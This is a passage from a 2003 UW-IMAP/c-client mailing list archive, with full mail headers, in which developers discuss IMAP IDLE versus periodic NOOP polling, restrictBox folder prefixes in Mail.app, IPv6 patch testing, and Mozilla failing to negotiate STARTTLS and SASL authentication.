Probability=11%, Report='PRIORITY_NO_NAME 0.716, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, Thanks for your answers. I would like to detail the situation: I have two clients connecting to the same mailbox on the IMAP server: -One is Windows client, synchronize with server using disconnected mode: copies of every folder/mail item are stored locally, and updated if something changed on the server. -The other is Web client, synchronize with server using online mode. At time t1, the web client create a new folder F1 At time t2, web client creates a new folder F2 At time t3, web client deletes a few mail items: m1&m2 in folder INBOX At time t4, web client selects some mail items, and change their status from 'unread' to 'read' : m3&m4&m5 in folder INBOX If the client open the IDLE command, keeping the connection alive, and listening to that connection, the server will tell the client every changes made to that mailbox on the server. For example server will tell the window client that m1&m2 are deleted, etc. Do you know someone who has implmented the IDLE command? Or any other way to get the server inform us new changes? Regards, Khoa -----Original Message----- From: C-CLIENT-owner@u.washington.edu [mailto:C-CLIENT-owner@u.washington.edu]On Behalf Of Mark Crispin Sent: Saturday, December 13, 2003 2:22 AM To: Khoa Vo Cc: c-client@u.washington.edu Subject: RE: implement the IDLE command On Fri, 12 Dec 2003, Khoa Vo wrote: > My purpose is to have the server inform me only new changes. For example, in > my mail box on server there is one new mail just arrived, and three among > 1000 email have changed status to 'read'. Using the IDLE command, and keep > the connection alive, the server will inform any change to that mailbox > using the current connection. The procedure which I outlined, in which you do a NOOP every so often, is functionally identical to IDLE. IDLE does not do anything different. It just saves you from having to send a NOOP every so often. Instead of sending a NOOP every 2 minutes, you send an IDLE every 29 minutes. > I don't want to scan folder-by-folder, mail-by-mail to detect changes made > to mail items on the server, and update to the mail items on client machine. Even with IDLE, you are never informed about changes to a mailbox that is not SELECTED. So I do not understand your "scan folder-by-folder" argument. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Dec 14 19:21:42 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Dec 2003 19:21:42 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF3LfUF029986 for ; Sun, 14 Dec 2003 19:21:42 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF3Lelp032724 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 14 Dec 2003 19:21:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBF3Kk1r012996; Sun, 14 Dec 2003 19:20:46 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF3JvuL017744 for ; Sun, 14 Dec 2003 19:19:57 -0800 Received: from lilbuddy.antsclimbtree.com (lilbuddy.antsclimbtree.com [216.27.183.129]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF3JtEE026275 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 14 Dec 2003 19:19:56 -0800 Received: from amore.antsclimbtree.com ([192.168.1.2]) by lilbuddy.antsclimbtree.com with asmtp (TLSv1:RC4-SHA:128) (Exim 4.24; FreeBSD) id 1AVjH5-00042H-Bi for c-client@u.washington.edu; Sun, 14 Dec 2003 19:19:59 -0800 Message-Id: <88E9DE05-2EAD-11D8-A796-000A278CC960@antsclimbtree.com> Date: Sun, 14 Dec 2003 19:19:46 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: c-client@u.washington.edu Subject: restricBox question Mime-Version: 1.0 (Apple Message framework v606) Content-Type: multipart/alternative; boundary=Apple-Mail-1-809390047 X-Spam-Score: -4.7 (----) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --Apple-Mail-1-809390047 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed I recently recompiled with the restrictBox = -1 option set, in the interest of security. Most clients handled this change seamlessly. I have been using a prefix of: mail/ on the clients. However, OSX's Mail.app choked on the new server. Only the Inbox showed up, and no folders. I had to change the prefix to: mail in Mail.app to get things working again. Other clients, such as Squirrelmail, Thunderbird, and Outlook continued functioning normally with the trailing slash. Does this indicate a deficiency with Mail.app? It seems to work totally fine with that trailing slash is removed, but it is just a little weird. Thanks! -- Mark Edwards --Apple-Mail-1-809390047 Content-Transfer-Encoding: 7bit Content-Type: text/enriched; charset=US-ASCII I recently recompiled with the restrictBox = -1 option set, in the interest of security. Most clients handled this change seamlessly. I have been using a prefix of: mail/ on the clients. However, OSX's Mail.app choked on the new server. Only the Inbox showed up, and no folders. I had to change the prefix to: mail in Mail.app to get things working again. Other clients, such as Squirrelmail, Thunderbird, and Outlook continued functioning normally with the trailing slash. Does this indicate a deficiency with Mail.app? It seems to work totally fine with that trailing slash is removed, but it is just a little weird. Thanks! -- Mark Edwards --Apple-Mail-1-809390047-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Dec 14 20:40:22 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Dec 2003 20:40:22 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF4eLUF031400 for ; Sun, 14 Dec 2003 20:40:21 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF4eK72026070 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 14 Dec 2003 20:40:20 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBF4d4Fe013966; Sun, 14 Dec 2003 20:39:04 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF4c1uL028554 for ; Sun, 14 Dec 2003 20:38:01 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF4c0gN016373 for ; Sun, 14 Dec 2003 20:38:00 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF4brP3012583; Sun, 14 Dec 2003 20:37:53 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF4bqrU010618; Sun, 14 Dec 2003 20:37:52 -0800 Message-Id: Date: Sun, 14 Dec 2003 20:37:52 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Khoa Vo Cc: c-client@u.washington.edu Subject: RE: implement the IDLE command In-Reply-To: <002601c3c2b9$a9063340$9861a8c0@KhoaVo2> References: <002601c3c2b9$a9063340$9861a8c0@KhoaVo2> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 15 Dec 2003, Khoa Vo wrote: > If the client open the IDLE command, keeping the connection alive, and > listening to that connection, the server will tell the client every changes > made to that mailbox on the server. For example server will tell the window > client that m1&m2 are deleted, etc. You will get the same behavior if the client opens a session, and every minute or two issues a NOOP command. You can call mail_ping() in c-client to do this. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Dec 14 23:29:56 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Dec 2003 23:29:56 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF7TuUF003416 for ; Sun, 14 Dec 2003 23:29:56 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF7Ts72029630 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 14 Dec 2003 23:29:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBF7SV1r011314; Sun, 14 Dec 2003 23:28:31 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF7RbuL037278 for ; Sun, 14 Dec 2003 23:27:37 -0800 Received: from natsmtp01.rzone.de (natsmtp01.rzone.de [81.169.145.166]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBF7RZ2X030638 for ; Sun, 14 Dec 2003 23:27:36 -0800 Received: from pc (p508B2B1D.dip.t-dialin.net [80.139.43.29]) by post.webmailer.de (8.12.10/8.12.10) with SMTP id hBF7RXFW000101 for ; Mon, 15 Dec 2003 08:27:34 +0100 (MET) Message-Id: <3FDD6262.6040407@boerkel.de> Date: Mon, 15 Dec 2003 08:27:30 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?ISO-8859-1?Q?Thomas_B=F6rkel?= To: uw-imap Subject: TLS MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=XII, Probability=12%, Report='X_NJABL_DUL 1, X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0, RCVD_IN_NJABL_ORG 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN HI! I installed open-ssl and then recompiled uw-imap. Still TLS does not work. I can only connect via SSL at port 993, not via TLS at port 143. I have activated "Use secure authentication" in Mozilla 1.5, but it says "Login to server blah failed" and I get "AUTHENTICATE PLAIN failure" in /var/log/mail. Anyone any ideas? Using the current version of uw-imap under Suse 9.0. Thanks! Thomas -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Dec 15 12:17:59 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 15 Dec 2003 12:17:59 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBFKHxUF030398 for ; Mon, 15 Dec 2003 12:17:59 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBFKHv72019253 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 15 Dec 2003 12:17:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBFKGQFe016006; Mon, 15 Dec 2003 12:16:27 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBFKFQuL017688 for ; Mon, 15 Dec 2003 12:15:26 -0800 Received: from gau.lava.net (gau.lava.net [64.65.64.28]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBFKFPDv025519 for ; Mon, 15 Dec 2003 12:15:26 -0800 Received: from tempura.lava.net (tempura.lava.net [64.65.127.249]) by gau.lava.net (Postfix) with ESMTP id 33989176A7 for ; Mon, 15 Dec 2003 10:15:25 -1000 (HST) Message-Id: <20031215100514.Q13141@tempura.lava.net> Date: Mon, 15 Dec 2003 10:15:02 -1000 (HST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Antonio Querubin To: c-client@u.washington.edu Subject: Re: IPv6 fixes for tcp_unix.c In-Reply-To: <20031212121708.U27534@kulolo.lava.net> References: <20031212121708.U27534@kulolo.lava.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 12 Dec 2003, Antonio Querubin wrote: > On Tue, 9 Dec 2003, Antonio Querubin wrote: > > > This should basically make pine and imapd completely IPv6 capable. The > > patch has been tested with the FreeBSD ports of imapd, c-client, and pine. > > I've done some more testing with other OS. Here are some additional data > points for reference. 2 more datapoints to add. One for Windows XP/Cygwin with IPv6 patches, and the other for Mac OSX though no IPv6 connections could be tested. The owner of the OSX system didn't have IPv6 routing enabled so there was no way to reach any of our IPv6 enabled IMAP servers. > OS/version imapd/version pine (4.58) > ----------- ------------- ----------- > FreeBSD 4.6 not tested ok > FreeBSD 4.9 ok (2002d) ok > FreeBSD 5.1 ok (2002d) ok > Redhat 8.0 not tested ok > Redhat 9.0 not tested ok > Fedora 1 ok (2002e) ok > OpenBSD 3.2 not tested ok > BSDI 4.3 not tested ok WinXP/Cygwin 1.5 not tested ok (Cygwin with IPv6 enabled) MacOSX 10.3 not tested ok (only IPv4 connections tested) That pretty much exhausts all the systems I can test with. From pinedev@shivax2.cac.washington.edu Mon Dec 15 15:28:46 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 15 Dec 2003 15:28:46 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBFNSkUF006633 for ; Mon, 15 Dec 2003 15:28:46 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBFNSg72026099 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 15 Dec 2003 15:28:43 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBFNRE1r014606; Mon, 15 Dec 2003 15:27:15 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBFNQVuL028482 for ; Mon, 15 Dec 2003 15:26:31 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBFNQURg024518 for ; Mon, 15 Dec 2003 15:26:30 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBFNQRP3015481; Mon, 15 Dec 2003 15:26:27 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBFNQQba025093 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 15 Dec 2003 15:26:27 -0800 Message-Id: Date: Mon, 15 Dec 2003 15:24:24 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: thomas@boerkel.de Cc: uw-imap Subject: Re: TLS In-Reply-To: <3FDD6262.6040407@boerkel.de> References: <3FDD6262.6040407@boerkel.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 15 Dec 2003, Thomas Boerkel wrote: > I installed open-ssl and then recompiled uw-imap. Still TLS does not work. I > can only connect via SSL at port 993, not via TLS at port 143. How does it "not work"? What happens when you connect to port 143? Do you get the normal IMAP greeting message? If so, what happens when a TLS-enabled client does a STARTTLS command? > I have activated "Use secure authentication" in Mozilla 1.5, but it says > "Login to server blah failed" and I get "AUTHENTICATE PLAIN failure" in > /var/log/mail. This is authentication, which is a separate issue. I don't use Mozilla, and I don't know what "Use secure authentication" does in Mozilla. If Mozilla (or whatever other IMAP client) tries to do AUTHENTICATE PLAIN in a port 143 session without first negotiating STARTTLS, it is expected that the authentication will fail. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Dec 15 23:50:10 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 15 Dec 2003 23:50:10 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBG7oAUF021287 for ; Mon, 15 Dec 2003 23:50:10 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBG7o8lp015440 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 15 Dec 2003 23:50:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBG7lZFe016008; Mon, 15 Dec 2003 23:47:35 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBG7hUuL036752 for ; Mon, 15 Dec 2003 23:43:30 -0800 Received: from natsmtp01.rzone.de (natsmtp01.rzone.de [81.169.145.166]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBG7hSbc008604 for ; Mon, 15 Dec 2003 23:43:29 -0800 Received: from pc (p508B28B3.dip.t-dialin.net [80.139.40.179]) by post.webmailer.de (8.12.10/8.12.10) with SMTP id hBG7hQA5024798 for ; Tue, 16 Dec 2003 08:43:27 +0100 (MET) Message-Id: <3FDEB79C.1050206@boerkel.de> Date: Tue, 16 Dec 2003 08:43:24 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?ISO-8859-1?Q?Thomas_B=F6rkel?= To: uw-imap Subject: Re: TLS In-Reply-To: References: <3FDD6262.6040407@boerkel.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=XII, Probability=12%, Report='X_NJABL_DUL 1, X_ACCEPT_LANG 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, RCVD_IN_NJABL_ORG 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN HI! Mark Crispin wrote: >>I installed open-ssl and then recompiled uw-imap. Still TLS does not work. I >>can only connect via SSL at port 993, not via TLS at port 143. > > > How does it "not work"? I cannot log in and the only messages I got are those below from Mozilla and from /var/log/mail. > What happens when you connect to port 143? Do you get the normal IMAP > greeting message? If so, what happens when a TLS-enabled client does a > STARTTLS command? When I connect with telnet, I get this at port 143: * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS LOGINDISABLED] admnb IMAP4rev1 2003.339 at Tue, 16 Dec 2003 08:13:03 +0100 (CET) Monitoring the communication, it seems that Mozilla does not do STARTTLS. It only tries "authenticate plain". >>I have activated "Use secure authentication" in Mozilla 1.5, but it says >>"Login to server blah failed" and I get "AUTHENTICATE PLAIN failure" in >>/var/log/mail. > > This is authentication, which is a separate issue. Hm, doesn't that error message mean, that Mozilla tries to do plain authentication when it should do STARTTLS first? ;-) > I don't use Mozilla, and I don't know what "Use secure authentication" > does in Mozilla. It is not described in the docs, but I tested with another server (monitoring the communication) that does not send its capabilities and it seems Mozilla then does "authenticate CRAM-MD5". > If Mozilla (or whatever other IMAP client) tries to do AUTHENTICATE PLAIN > in a port 143 session without first negotiating STARTTLS, it is expected > that the authentication will fail. So, it seems that Mozilla can not do TLS over 143. I have now tried to use CRAM-MD5. I enabled it in uw-imap and it correctly advertises it in the capabilities. Still Mozilla does not start with "authenticate CRAM-MD5". It seems that Mozilla has problems interpreting the capabilities. So, I have 2 questions: If I use CRAM-MD5, can I do login via port 143 then? Can I disable advertising the capabilities in uw-imap? Thanks! Thomas From pinedev@shivax2.cac.washington.edu Tue Dec 16 12:41:04 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Dec 2003 12:41:04 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBGKf4UF017486 for ; Tue, 16 Dec 2003 12:41:04 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBGKf272028668 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 16 Dec 2003 12:41:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBGKdG1r011190; Tue, 16 Dec 2003 12:39:17 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBGKbtuL028830 for ; Tue, 16 Dec 2003 12:37:55 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBGKbsRg022821 for ; Tue, 16 Dec 2003 12:37:54 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout6.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBGKbplo019829; Tue, 16 Dec 2003 12:37:51 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBGKbpvo000793 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 16 Dec 2003 12:37:51 -0800 Message-Id: Date: Tue, 16 Dec 2003 12:37:36 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: thomas@boerkel.de Cc: uw-imap Subject: Re: TLS In-Reply-To: <3FDEB79C.1050206@boerkel.de> References: <3FDD6262.6040407@boerkel.de> <3FDEB79C.1050206@boerkel.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 16 Dec 2003, Thomas Boerkel wrote: > > > I installed open-ssl and then recompiled uw-imap. Still TLS does not work. > > How does it "not work"? > I cannot log in and the only messages I got are those below from Mozilla and > from /var/log/mail. If I understand your problem report correctly, you can not log in when you connect on port 143. There is no evidence that TLS is not working. Is this correct? > When I connect with telnet, I get this at port 143: > * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS LOGINDISABLED] admnb IMAP4rev1 2003.339 at Tue, 16 Dec 2003 08:13:03 +0100 (CET) > Monitoring the communication, it seems that Mozilla does not do STARTTLS. It > only tries "authenticate plain". Can you provide a complete transcript of the session up to (and including) the AUTHENTICATE PLAIN? Did the client do a CAPABILITY command prior to the AUTHENTICATE PLAIN? What indication did the client receive that it was permitted to do an AUTHENTICATE PLAIN? > > > I have activated "Use secure authentication" in Mozilla 1.5, but it says > > > "Login to server blah failed" and I get "AUTHENTICATE PLAIN failure" in > > > /var/log/mail. > > This is authentication, which is a separate issue. > Hm, doesn't that error message mean, that Mozilla tries to do plain > authentication when it should do STARTTLS first? ;-) If the client did AUTHENTICATE PLAIN without any indication from the server of the "AUTH=PLAIN" capability, then the client is broken: it is violating the requirements of the IMAP protocol. A client MUST NOT attempt to negotiate a SASL mechanism that was not advertised in a capability list, either from the capabilities in the greeting or from the results of a CAPABILITY command. > It is not described in the docs, but I tested with another server (monitoring > the communication) that does not send its capabilities and it seems Mozilla > then does "authenticate CRAM-MD5". If the client did AUTHENTICATE CRAM-MD5 without any indication from the server of the "AUTH=CRAM-MD5" capability, then the client is broken: it is violating the requirements of the IMAP protocol. > So, it seems that Mozilla can not do TLS over 143. That may be the case. If so, you should bring up this issue with the developers of Mozilla. > I have now tried to use CRAM-MD5. I enabled it in uw-imap and it correctly > advertises it in the capabilities. Still Mozilla does not start with > "authenticate CRAM-MD5". It seems that Mozilla has problems interpreting the > capabilities. This also sounds like something that you should should bring up with the developers of Mozilla. > If I use CRAM-MD5, can I do login via port 143 then? I don't know. The problem appears to be that Mozilla (or at least the copy of Mozilla that you have) is broken. It is completely unpredictable what broken software will do. Although there may be a problem in the copy of UW imapd that you have, so far the evidence that you've provided indicates that UW imapd is performing correctly according to its design and the IMAP specification. > Can I disable advertising the capabilities in uw-imap? It is an ill-advised strategy to attempt to solve a problem with software that is known to be broken by randomly breaking software that is known to work, and hoping that the resulting combination of broken software will work together. The correct thing to do is to contact the developers of Mozilla, and report the following: 1) Mozilla does not seem to negotiate STARTTLS with a server that advertises it. 2) Mozilla apparently attempts to negotiate SASL authentication mechanisms (such as CRAM-MD5 and PLAIN) when there has been no server authorization of such mechanisms. 3) Mozilla apparently declines to negotiate SASL authentication mechanisms (such as CRAM-MD5 and PLAIN) when there is server authorization of such mechanisms. Unfortunately, these statements are prevarications, because I am interpreting your interpretations of what you observed. It would be better if you could provide actual transcripts of the protocol negotiations. I think that the Mozilla developers would be happier with such transcripts as well; that way they can see for themselves what is going on rather than deal with guesses. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Dec 16 16:42:27 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Dec 2003 16:42:27 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBH0gRUF027869 for ; Tue, 16 Dec 2003 16:42:27 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBH0gP72004638 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 16 Dec 2003 16:42:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBH0f7Fe014642; Tue, 16 Dec 2003 16:41:08 -0800 Received: from mxu2.u.washington.edu 